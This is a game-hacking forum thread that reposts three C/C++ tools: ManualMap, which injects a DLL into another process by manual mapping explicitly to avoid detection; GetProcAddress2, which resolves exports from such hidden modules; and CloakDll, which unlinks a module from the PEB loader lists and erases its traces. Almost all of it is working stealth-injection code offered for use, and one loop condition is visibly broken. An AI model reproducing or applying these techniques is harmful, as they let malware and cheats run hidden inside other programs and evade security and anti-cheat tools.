TKC-Community
Hacking and Art => General Modding & Programming / Other Games => Topic started by: ZOldDude on February 18, 2016, 05:55:15 am
-
// ManualMap - by Darawk
// Featured @ www.RealmGX.com & www.Darawk.com
//
// The purpose of ManualMap is to "manually map" a dll
// module into a remote process's address space. This
// means that instead of just manipulating the remote
// process into calling the LoadLibrary function, we
// have our own emulation of what LoadLibrary does
// without all those annoying detectability issues ^^.
// The advantage of this method over using something
// like my CloakDll function, is that this method never
// has to call a function like LoadLibrary inside the
// remote process. Since LoadLibrary can be hooked,
// the dll could still be caught at the injection stage.
// Or possibly also through the weakness I discussed in
// the comment header of that file, which is not present
// when using this technique.
#include <windows.h>
#include <tlhelp32.h>
#include <shlwapi.h>
#pragma comment(lib, "shlwapi.lib")
#define IMAGE_DIRECTORY_ENTRY_IMPORT 1
#define IMAGE_DIRECTORY_ENTRY_BASERELOC 5
// Pietrek's macro
//
// MakePtr is a macro that allows you to easily add to values (including
// pointers) together without dealing with C's pointer arithmetic. It
// essentially treats the last two parameters as DWORDs. The first
// parameter is used to typecast the result to the appropriate pointer type.
#define MakePtr( cast, ptr, addValue ) (cast)( (DWORD_PTR)(ptr) + (DWORD_PTR)(addValue))
// This one is mine, but obviously..."adapted" from matt's original idea =p
#define MakeDelta(cast, x, y) (cast) ( (DWORD_PTR)(x) - (DWORD_PTR)(y))
bool MapRemoteModule(unsigned long, char *);
unsigned long GetProcessIdByName(char *);
HMODULE GetRemoteModuleHandle(unsigned long, char *);
FARPROC GetRemoteProcAddress(unsigned long, char *, char *);
bool FixImports(unsigned long, void *, IMAGE_NT_HEADERS *, IMAGE_IMPORT_DESCRIPTOR *);
bool FixRelocs(void *, void *, IMAGE_NT_HEADERS *, IMAGE_BASE_RELOCATION *, unsigned int);
bool MapSections(HANDLE, void *, void *, IMAGE_NT_HEADERS *);
PIMAGE_SECTION_HEADER GetEnclosingSectionHeader(DWORD, PIMAGE_NT_HEADERS);
LPVOID GetPtrFromRVA(DWORD, PIMAGE_NT_HEADERS, PBYTE);
// Stub that calls the Dll from within the remote process.
// This is necessary because a DllMain function takes 3
// arguments, and CreateRemoteThread can pass only 1.
__declspec(naked) void DllCall_stub(HMODULE hMod)
{
_asm
{
push 0
push 1
push [esp+0Ch] // Pointer to the hMod argument
mov eax, 0xDEADBEEF // Patch this in with the real value at run-time
call eax // MSVC++ doesn't like direct absolute calls, so we have to be
// clever about it.
ret // Don't have to clean up the stack because the calling function
// is just going to call ExitThread() immediately after this
// function returns.
}
}
// Marker for the end of the DllCall_stub function
__declspec(naked) void DC_stubend(void) { }
int main(int argc, char **argv)
{
// Just my test values...Cmdline.dll is a plugin that comes with
// Olly Debug 1.10
MapRemoteModule(GetProcessIdByName("notepad.exe"), "Cmdline.dll");
return 0;
}
bool MapRemoteModule(unsigned long pId, char *module)
{
IMAGE_DOS_HEADER *dosHd;
IMAGE_NT_HEADERS *ntHd;
HANDLE hFile = CreateFile(module,
GENERIC_READ,
FILE_SHARE_READ | FILE_SHARE_WRITE,
NULL,
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL,
NULL);
if(hFile == INVALID_HANDLE_VALUE)
return false;
unsigned int fSize;
if(GetFileAttributes(module) & FILE_ATTRIBUTE_COMPRESSED)
fSize = GetCompressedFileSize(module, NULL);
else
fSize = GetFileSize(hFile, NULL);
unsigned char *dllBin = new unsigned char[fSize];
unsigned int nBytes;
ReadFile(hFile, dllBin, fSize, (LPDWORD)&nBytes, FALSE);
CloseHandle(hFile);
// Every PE file contains a little DOS stub for backwards compatibility
// it's only real relevance is that it contains a pointer to the actual
// PE header.
dosHd = MakePtr(IMAGE_DOS_HEADER *, dllBin, 0);
// Make sure we got a valid DOS header
if(dosHd->e_magic != IMAGE_DOS_SIGNATURE)
{
delete dllBin;
return false;
}
// Get the real PE header from the DOS stub header
ntHd = MakePtr(IMAGE_NT_HEADERS *, dllBin, dosHd->e_lfanew);
// Verify the PE header
if(ntHd->Signature != IMAGE_NT_SIGNATURE)
{
delete dllBin;
return false;
}
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pId);
if(!hProcess)
return false;
// Allocate space for the module in the remote process
void *moduleBase = VirtualAllocEx(hProcess,
NULL,
ntHd->OptionalHeader.SizeOfImage,
MEM_COMMIT | MEM_RESERVE,
PAGE_EXECUTE_READWRITE);
// Make sure we got the memory space we wanted
if(!moduleBase)
return false;
// Allocate space for our stub
void *stubBase = VirtualAllocEx(hProcess,
NULL,
MakeDelta(SIZE_T, DC_stubend, DllCall_stub),
MEM_COMMIT | MEM_RESERVE,
PAGE_EXECUTE_READWRITE);
// Make sure we got the memory space we wanted
if(!stubBase)
return false;
// Fix up the import table of the new module
IMAGE_IMPORT_DESCRIPTOR *impDesc = (IMAGE_IMPORT_DESCRIPTOR *)GetPtrFromRVA(
(DWORD)(ntHd->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress),
ntHd,
(PBYTE)dllBin);
if(ntHd->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].Size)
FixImports(pId,
(unsigned char *)dllBin,
ntHd,
impDesc);
// Fix "base relocations" of the new module. Base relocations are places
// in the module that use absolute addresses to reference data. Since
// the base address of the module can be different at different times,
// the base relocation data is necessary to make the module loadable
// at any address.
IMAGE_BASE_RELOCATION *reloc = (IMAGE_BASE_RELOCATION *)GetPtrFromRVA(
(DWORD)(ntHd->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress),
ntHd,
(PBYTE)dllBin);
if(ntHd->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].Size)
FixRelocs(dllBin,
moduleBase,
ntHd,
reloc,
ntHd->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].Size);
// Write the PE header into the remote process's memory space
WriteProcessMemory(hProcess,
moduleBase,
dllBin,
ntHd->FileHeader.SizeOfOptionalHeader + sizeof(ntHd->FileHeader) + sizeof(ntHd->Signature),
(SIZE_T *)&nBytes);
// Map the sections into the remote process(they need to be aligned
// along their virtual addresses)
MapSections(hProcess, moduleBase, dllBin, ntHd);
// Change the page protection on the DllCall_stub function from PAGE_EXECUTE_READ
// to PAGE_EXECUTE_READWRITE, so we can patch it.
VirtualProtect((LPVOID)DllCall_stub,
MakeDelta(SIZE_T, DC_stubend, DllCall_stub),
PAGE_EXECUTE_READWRITE,
(DWORD *)&nBytes);
// Patch the stub so it calls the correct address
*MakePtr(unsigned long *, DllCall_stub, 9) =
MakePtr(unsigned long, moduleBase, ntHd->OptionalHeader.AddressOfEntryPoint);
// Write the stub into the remote process
WriteProcessMemory(hProcess,
stubBase,
(LPVOID)DllCall_stub,
MakeDelta(SIZE_T, DC_stubend, DllCall_stub),
(SIZE_T *)&nBytes);
// Execute our stub in the remote process
CreateRemoteThread(hProcess,
NULL,
0,
(LPTHREAD_START_ROUTINE)stubBase,
moduleBase, // Pass the base address of the module as the argument to the stub.
// All a module handle is, is the base address of the module(except
// in windows CE), so we're really passing a handle to the module
// so that it can refer to itself, create dialogs, etc..
0,
NULL);
delete dllBin;
return true;
}
bool MapSections(HANDLE hProcess, void *moduleBase, void *dllBin, IMAGE_NT_HEADERS *ntHd)
{
IMAGE_SECTION_HEADER *header = IMAGE_FIRST_SECTION(ntHd);
unsigned int nBytes = 0;
unsigned int virtualSize = 0;
unsigned int n = 0;
// Loop through the list of sections
for(unsigned int i = 0; ntHd->FileHeader.NumberOfSections; i++)
{
// Once we've reached the SizeOfImage, the rest of the sections
// don't need to be mapped, if there are any.
if(nBytes >= ntHd->OptionalHeader.SizeOfImage)
break;
WriteProcessMemory(hProcess,
MakePtr(LPVOID, moduleBase, header->VirtualAddress),
MakePtr(LPCVOID, dllBin, header->PointerToRawData),
header->SizeOfRawData,
(LPDWORD)&n);
virtualSize = header->VirtualAddress;
header++;
virtualSize = header->VirtualAddress - virtualSize;
nBytes += virtualSize;
// Set the proper page protections for this section.
// This really could be skipped, but it's not that
// hard to implement and it makes it more like a
// real loader.
VirtualProtectEx(hProcess,
MakePtr(LPVOID, moduleBase, header->VirtualAddress),
virtualSize,
header->Characteristics & 0x00FFFFFF,
NULL);
}
return true;
}
bool FixImports(unsigned long pId, void *base, IMAGE_NT_HEADERS *ntHd, IMAGE_IMPORT_DESCRIPTOR *impDesc)
{
char *module;
// Loop through all the required modules
while((module = (char *)GetPtrFromRVA((DWORD)(impDesc->Name), ntHd, (PBYTE)base)))
{
// If the library is already loaded(like kernel32.dll or ntdll.dll) LoadLibrary will
// just return the handle to that module.
HMODULE localMod = LoadLibrary(module);
// If the module isn't loaded in the remote process, we recursively call the
// module mapping code. This has the added benefit of ensuring that any of
// the current modules dependencies will be just as invisble as this one.
if(!GetRemoteModuleHandle(pId, module))
MapRemoteModule(pId, module);
// Lookup the first import thunk for this module
// NOTE: It is possible this module could forward functions...which is something
// that I really should handle. Maybe i'll add support for forwared functions
// a little bit later.
IMAGE_THUNK_DATA *itd =
(IMAGE_THUNK_DATA *)GetPtrFromRVA((DWORD)(impDesc->FirstThunk), ntHd, (PBYTE)base);
while(itd->u1.AddressOfData)
{
IMAGE_IMPORT_BY_NAME *iibn;
iibn = (IMAGE_IMPORT_BY_NAME *)GetPtrFromRVA((DWORD)(itd->u1.AddressOfData), ntHd, (PBYTE)base);
itd->u1.Function = MakePtr(DWORD, GetRemoteProcAddress(pId,
module,
(char *)iibn->Name), 0);
itd++;
}
impDesc++;
}
return true;
}
bool FixRelocs(void *base, void *rBase, IMAGE_NT_HEADERS *ntHd, IMAGE_BASE_RELOCATION *reloc, unsigned int size)
{
unsigned long ImageBase = ntHd->OptionalHeader.ImageBase;
unsigned int nBytes = 0;
unsigned long delta = MakeDelta(unsigned long, rBase, ImageBase);
while(1)
{
unsigned long *locBase =
(unsigned long *)GetPtrFromRVA((DWORD)(reloc->VirtualAddress), ntHd, (PBYTE)base);
unsigned int numRelocs = (reloc->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) / sizeof(WORD);
if(nBytes >= size) break;
unsigned short *locData = MakePtr(unsigned short *, reloc, sizeof(IMAGE_BASE_RELOCATION));
for(unsigned int i = 0; i < numRelocs; i++)
{
if(((*locData >> 12) & IMAGE_REL_BASED_HIGHLOW))
*MakePtr(unsigned long *, locBase, (*locData & 0x0FFF)) += delta;
locData++;
}
nBytes += reloc->SizeOfBlock;
reloc = (IMAGE_BASE_RELOCATION *)locData;
}
return true;
}
FARPROC GetRemoteProcAddress(unsigned long pId, char *module, char *func)
{
HMODULE remoteMod = GetRemoteModuleHandle(pId, module);
HMODULE localMod = GetModuleHandle(module);
// Account for potential differences in base address
// of modules in different processes.
unsigned long delta = MakeDelta(unsigned long, remoteMod, localMod);
return MakePtr(FARPROC, GetProcAddress(localMod, func), delta);
}
unsigned long GetProcessIdByName(char *process)
{
PROCESSENTRY32 pe;
HANDLE thSnapshot;
BOOL retval, ProcFound = false;
thSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if(thSnapshot == INVALID_HANDLE_VALUE)
{
MessageBox(NULL, "Error: unable to create toolhelp snapshot", "Loader", NULL);
return false;
}
pe.dwSize = sizeof(PROCESSENTRY32);
retval = Process32First(thSnapshot, &pe);
while(retval)
{
if(StrStrI(pe.szExeFile, process) )
{
ProcFound = true;
break;
}
retval = Process32Next(thSnapshot,&pe);
pe.dwSize = sizeof(PROCESSENTRY32);
}
return pe.th32ProcessID;
}
HMODULE GetRemoteModuleHandle(unsigned long pId, char *module)
{
MODULEENTRY32 modEntry;
HANDLE tlh = CreateToolhelp32Snapshot(TH32CS_SNAPMODULE, pId);
modEntry.dwSize = sizeof(MODULEENTRY32);
Module32First(tlh, &modEntry);
do
{
if(!stricmp(modEntry.szModule, module))
return modEntry.hModule;
modEntry.dwSize = sizeof(MODULEENTRY32);
}
while(Module32Next(tlh, &modEntry));
return NULL;
}
// Matt Pietrek's function
PIMAGE_SECTION_HEADER GetEnclosingSectionHeader(DWORD rva, PIMAGE_NT_HEADERS pNTHeader)
{
PIMAGE_SECTION_HEADER section = IMAGE_FIRST_SECTION(pNTHeader);
unsigned int i;
for ( i = 0; i < pNTHeader->FileHeader.NumberOfSections; i++, section++ )
{
// This 3 line idiocy is because Watcom's linker actually sets the
// Misc.VirtualSize field to 0. (!!! - Retards....!!!)
DWORD size = section->Misc.VirtualSize;
if ( 0 == size )
size = section->SizeOfRawData;
// Is the RVA within this section?
if ( (rva >= section->VirtualAddress) &&
(rva < (section->VirtualAddress + size)))
return section;
}
return 0;
}
// This function is also Pietrek's
LPVOID GetPtrFromRVA( DWORD rva, IMAGE_NT_HEADERS *pNTHeader, PBYTE imageBase )
{
PIMAGE_SECTION_HEADER pSectionHdr;
INT delta;
pSectionHdr = GetEnclosingSectionHeader( rva, pNTHeader );
if ( !pSectionHdr )
return 0;
delta = (INT)(pSectionHdr->VirtualAddress-pSectionHdr->PointerToRawData);
return (PVOID) ( imageBase + rva - delta );
}
-
// GetProcAddress2 - by Darawk
// Featured @ www.RealmGX.com & www.Darawk.com
//
// GetProcAddress2 is essentially identical to the
// windows API function GetProcAddress, with one
// key difference. GetProcAddress2 does not check
// to make sure the module handle that's passed to
// it is in the loaded modules list. GetProcAddress2
// is designed to be used in conjunction with ManualMap
// or CloakDll. It allows you to access functions that
// have been exported from a dll loaded by ManualMap or
// cloaked by CloakDll. This functionality is necessary
// for plugin-based applications and late-binding functions.
#include <windows.h>
#define IMAGE_DIRECTORY_ENTRY_EXPORT 0
// Pietrek's macro
//
// MakePtr is a macro that allows you to easily add to values (including
// pointers) together without dealing with C's pointer arithmetic. It
// essentially treats the last two parameters as DWORDs. The first
// parameter is used to typecast the result to the appropriate pointer type.
#define MakePtr( cast, ptr, addValue ) (cast)( (DWORD_PTR)(ptr) + (DWORD_PTR)(addValue))
// This one is mine, but obviously..."adapted" from matt's original idea =p
#define MakeDelta(cast, x, y) (cast) ( (DWORD_PTR)(x) - (DWORD_PTR)(y))
// My modified version of pietrek's function, to work with PE files that have
// already been mapped into memory.
LPVOID GetPtrFromRVA( DWORD, IMAGE_NT_HEADERS *, PBYTE, bool);
FARPROC GetProcAddress2(HMODULE hMod, char *func)
{
IMAGE_DOS_HEADER *dosHd;
IMAGE_NT_HEADERS *ntHd;
IMAGE_EXPORT_DIRECTORY *ied;
char **names;
unsigned short *ordinals;
FARPROC *funcs;
// Make sure we got a valid pointer
if(!hMod || hMod == INVALID_HANDLE_VALUE)
return NULL;
dosHd = (IMAGE_DOS_HEADER *)hMod;
// Verify the DOS header
if(dosHd->e_magic != IMAGE_DOS_SIGNATURE)
return NULL;
ntHd = MakePtr(IMAGE_NT_HEADERS *, hMod, dosHd->e_lfanew);
// Verify the NT header
if(ntHd->Signature != IMAGE_NT_SIGNATURE)
return NULL;
ied = (IMAGE_EXPORT_DIRECTORY *)GetPtrFromRVA((DWORD)(ntHd->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress),
ntHd,
(PBYTE)hMod, true);
names = (char **)GetPtrFromRVA(ied->AddressOfNames, ntHd, (PBYTE)hMod, true);
ordinals = (unsigned short *)GetPtrFromRVA(ied->AddressOfNameOrdinals, ntHd, (PBYTE)hMod, true);
funcs = (FARPROC *)GetPtrFromRVA(ied->AddressOfFunctions, ntHd, (PBYTE)hMod, true);
unsigned int i;
for(i = 0; i < ied->NumberOfNames; i++)
if(!stricmp((char *)GetPtrFromRVA((DWORD)names[i], ntHd, (PBYTE)hMod, true), func))
break;
if(i >= ied->NumberOfNames)
return NULL;
return MakePtr(FARPROC, hMod, funcs[ordinals[i]]);
}
// Matt Pietrek's function
PIMAGE_SECTION_HEADER GetEnclosingSectionHeader(DWORD rva, PIMAGE_NT_HEADERS pNTHeader)
{
PIMAGE_SECTION_HEADER section = IMAGE_FIRST_SECTION(pNTHeader);
unsigned int i;
for ( i = 0; i < pNTHeader->FileHeader.NumberOfSections; i++, section++ )
{
// This 3 line idiocy is because Watcom's linker actually sets the
// Misc.VirtualSize field to 0. (!!! - Retards....!!!)
DWORD size = section->Misc.VirtualSize;
if ( 0 == size )
size = section->SizeOfRawData;
// Is the RVA within this section?
if ( (rva >= section->VirtualAddress) &&
(rva < (section->VirtualAddress + size)))
return section;
}
return 0;
}
unsigned long GetMappedSectionOffset(IMAGE_NT_HEADERS *ntHd, IMAGE_SECTION_HEADER *seHd, void *base)
{
IMAGE_SECTION_HEADER *section = IMAGE_FIRST_SECTION(ntHd);
unsigned int i;
unsigned long offset = MakeDelta(unsigned long, section, base);
for(i = 0; i < ntHd->FileHeader.NumberOfSections; i++, section++)
{
if(section->Name == seHd->Name)
{
offset = MakeDelta(unsigned long, section->VirtualAddress, section->PointerToRawData);
break;
}
//offset += (section->SizeOfRawData > ntHd->OptionalHeader.SectionAlignment ?
// section->SizeOfRawData - ntHd->OptionalHeader.SectionAlignment :
// ntHd->OptionalHeader.SectionAlignment - section->SizeOfRawData);
}
return offset;
}
// This function is also Pietrek's
LPVOID GetPtrFromRVA( DWORD rva, IMAGE_NT_HEADERS *pNTHeader, PBYTE imageBase, bool mapped )
{
PIMAGE_SECTION_HEADER pSectionHdr;
INT delta;
unsigned long offset = 0;
pSectionHdr = GetEnclosingSectionHeader( rva, pNTHeader );
if(mapped)
offset = GetMappedSectionOffset(pNTHeader, pSectionHdr, imageBase);
if ( !pSectionHdr )
return 0;
delta = (INT)(pSectionHdr->VirtualAddress-pSectionHdr->PointerToRawData);
return (PVOID) ( imageBase + rva - delta + offset);
}
-
// CloakDll - by Darawk
// Featured @ www.RealmGX.com & www.Darawk.com
//
// The purpose of CloakDll is to allow the user to hide any loaded
// module from the windows API. It works by accessing the modules
// list stored in the PEB, and subsequently unlinking the module
// in question from all 4 of the doubly-linked lists that it's a
// node of. It then zeroes out the structure and the path/file
// name of the module in memory. So that even if the memory where
// the data about this module used to reside is scanned there will
// still be no conclusive evidence of it's existence. At present
// there is only one weakness that I have found in this method.
// I'll describe how it may still be possible to discover at least
// that a module has been hidden, after a brief introduction to how
// the GetModuleHandle function works.
//
// *The following information is not documented by Microsoft. This
// information consists of my findings while reverse-engineering
// these functions and some of them may be incorrect and/or
// subject to change at any time(and is almost definitely different
// in different versions of windows, and maybe even in different
// service packs). I've tried to make my code as version independant
// as possible but certain parts of it may not work on older versions
// of windows. I've tested it on XP SP2 and there i'll guarantee
// that it works, but on any other versions of windows, it's anyone's
// guess.*
//
// GetModuleHandle eventually calls GetModuleHandleExW, which in
// turn accesses the native API function GetDllHandle, which calls
// GetDllHandleEx. And it's not until here, that we actually see
// anything even begin to look up information about loaded modules.
// Whenever GetModuleHandle is called, it saves the address of the
// last ModuleInfoNode structure that it found in a global variable
// inside of ntdll. This global variable is the first thing
// checked on all subsequent calls to GetModuleHandle. If the
// handle being requested is not the one that was requested the last
// time GetDllHandleEx calls the LdrpCheckForLoadedDll function.
// LdrpCheckForLoadedDll begins by converting the first letter of the
// module name being requested to uppercase, decrementing it by 1 and
// AND'ing it with 0x1F. This effectively creates a 0-based index
// beginning with the letter 'A'. The purpose of this is so that
// the module can first be looked up in a hash table. The hash table
// consists entirely of LIST_ENTRY structures. One for each letter
// 'A' through 'Z'. The LIST_ENTRY structure points to the first
// and last modules loaded that begin with the letter assigned to
// that entry in the hash table. The Flink member being the first
// loaded beginning with that letter, and the Blink member being the
// last. The code scans through this list until it finds the module
// that it's looking for. On the off-chance that it doesn't find it
// there, or if the boolean argument UseLdrpHashTable is set to false
// it will begin going through one of the other three lists. If, at
// this point it still doesn't find it, it will admit defeat and return
// 0 for the module handle.
//
// Weakness: The global variable inside ntdll that caches the pointer
// to the last module looked up could be used to at least detect the
// fact that a module has been hidden. The LdrUnloadDll() function
// will set this value to 0 when it unloads a module, so if the cache
// variable points to an empty structure, the only logical conclusion
// would be a hidden module somewhere in the process. This could be
// resolved by using the static address of this variable and simply
// zeroing it out. However, this would make the code specific to only
// one version of windows. You could also scan the address space of
// ntdll for any occurences of the base address(aka module handle)
// of the module you're hiding. However, this would be slow and it
// would clutter up the CloakDll_stub function, because it'd have to
// all be done manually. And i'd have to either use a static base
// address for ntdll...which would probably work on most versions
// of windows, however I really don't like using static addresses.
// Or i'd have to manually locate it by writing my own unicode
// string comparison code, to lookup ntdll in the list by it's name.
// Realistically though anyone trying to detect this way would run
// into the same problem. That their code would not be version
// independant. So, it's unlikely to see any largescale deployment
// of such a technique. However, anyone who would like to solve
// this problem themselves is perfectly free, and encouraged to do
// so.
#include <windows.h>
#include <winnt.h>
#include <tlhelp32.h>
#include <shlwapi.h>
#pragma comment(lib, "shlwapi.lib")
#define UPPERCASE(x) if((x) >= 'a' && (x) <= 'z') (x) -= 'a' - 'A'
#define UNLINK(x) (x).Blink->Flink = (x).Flink; \
(x).Flink->Blink = (x).Blink;
#pragma pack(push, 1)
typedef struct _UNICODE_STRING {
USHORT Length;
USHORT MaximumLength;
PWSTR Buffer;
} UNICODE_STRING, *PUNICODE_STRING;
typedef struct _ModuleInfoNode
{
LIST_ENTRY LoadOrder;
LIST_ENTRY InitOrder;
LIST_ENTRY MemoryOrder;
HMODULE baseAddress; // Base address AKA module handle
unsigned long entryPoint;
unsigned int size; // Size of the modules image
UNICODE_STRING fullPath;
UNICODE_STRING name;
unsigned long flags;
unsigned short LoadCount;
unsigned short TlsIndex;
LIST_ENTRY HashTable; // A linked list of any other modules that have the same first letter
unsigned long timestamp;
} ModuleInfoNode, *pModuleInfoNode;
typedef struct _ProcessModuleInfo
{
unsigned int size; // Size of a ModuleInfo node?
unsigned int initialized;
HANDLE SsHandle;
LIST_ENTRY LoadOrder;
LIST_ENTRY InitOrder;
LIST_ENTRY MemoryOrder;
} ProcessModuleInfo, *pProcessModuleInfo;
#pragma pack(pop)
bool CloakDll_stub(HMODULE);
void CD_stubend();
bool CloakDll(char *, char *);
unsigned long GetProcessIdFromProcname(char *);
HMODULE GetRemoteModuleHandle(unsigned long, char *);
int main(int argc, char **argv)
{
CloakDll("notepad.exe", "kernel32.dll");
return 0;
}
bool CloakDll(char *process, char *dllName)
{
PathStripPath(dllName);
unsigned long procId;
procId = GetProcessIdFromProcname(process);
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, procId);
// Calculate the length of the stub by subtracting it's address
// from the beginning of the function directly ahead of it.
//
// NOTE: If the compiler compiles the functions in a different
// order than they appear in the code, this will not work as
// it's supposed to. However, most compilers won't do that.
unsigned int stubLen = (unsigned long)CD_stubend - (unsigned long)CloakDll_stub;
// Allocate space for the CloakDll_stub function
void *stubAddress = VirtualAllocEx(hProcess,
NULL,
stubLen,
MEM_RESERVE | MEM_COMMIT,
PAGE_EXECUTE_READWRITE);
// Write the stub's code to the page we allocated for it
WriteProcessMemory(hProcess, stubAddress, CloakDll_stub, stubLen, NULL);
HMODULE hMod = GetRemoteModuleHandle(procId, dllName);
// Create a thread in the remote process to execute our code
CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)stubAddress, hMod, 0, NULL);
// Clean up after ourselves, so as to leave as little impact as possible
// on the remote process
VirtualFreeEx(hProcess, stubAddress, stubLen, MEM_RELEASE);
return true;
}
bool CloakDll_stub(HMODULE hMod)
{
ProcessModuleInfo *pmInfo;
ModuleInfoNode *module;
_asm
{
mov eax, fs:[18h] // TEB
mov eax, [eax + 30h] // PEB
mov eax, [eax + 0Ch] // PROCESS_MODULE_INFO
mov pmInfo, eax
}
module = (ModuleInfoNode *)(pmInfo->LoadOrder.Flink);
while(module->baseAddress && module->baseAddress != hMod)
module = (ModuleInfoNode *)(module->LoadOrder.Flink);
if(!module->baseAddress)
return false;
// Remove the module entry from the list here
///////////////////////////////////////////////////
// Unlink from the load order list
UNLINK(module->LoadOrder);
// Unlink from the init order list
UNLINK(module->InitOrder);
// Unlink from the memory order list
UNLINK(module->MemoryOrder);
// Unlink from the hash table
UNLINK(module->HashTable);
// Erase all traces that it was ever there
///////////////////////////////////////////////////
// This code will pretty much always be optimized into a rep stosb/stosd pair
// so it shouldn't cause problems for relocation.
// Zero out the module name
memset(module->fullPath.Buffer, 0, module->fullPath.Length);
// Zero out the memory of this module's node
memset(module, 0, sizeof(ModuleInfoNode));
return true;
}
__declspec(naked) void CD_stubend() { }
unsigned long GetProcessIdFromProcname(char *procName)
{
PROCESSENTRY32 pe;
HANDLE thSnapshot;
BOOL retval, ProcFound = false;
thSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if(thSnapshot == INVALID_HANDLE_VALUE)
{
MessageBox(NULL, "Error: unable to create toolhelp snapshot", "Loader", NULL);
return false;
}
pe.dwSize = sizeof(PROCESSENTRY32);
retval = Process32First(thSnapshot, &pe);
while(retval)
{
if(StrStrI(pe.szExeFile, procName) )
{
ProcFound = true;
break;
}
retval = Process32Next(thSnapshot,&pe);
pe.dwSize = sizeof(PROCESSENTRY32);
}
return pe.th32ProcessID;
}
HMODULE GetRemoteModuleHandle(unsigned long pId, char *module)
{
MODULEENTRY32 modEntry;
HANDLE tlh = CreateToolhelp32Snapshot(TH32CS_SNAPMODULE, pId);
modEntry.dwSize = sizeof(MODULEENTRY32);
Module32First(tlh, &modEntry);
do
{
if(!stricmp(modEntry.szModule, module))
return modEntry.hModule;
modEntry.dwSize = sizeof(MODULEENTRY32);
}
while(Module32Next(tlh, &modEntry));
return NULL;
}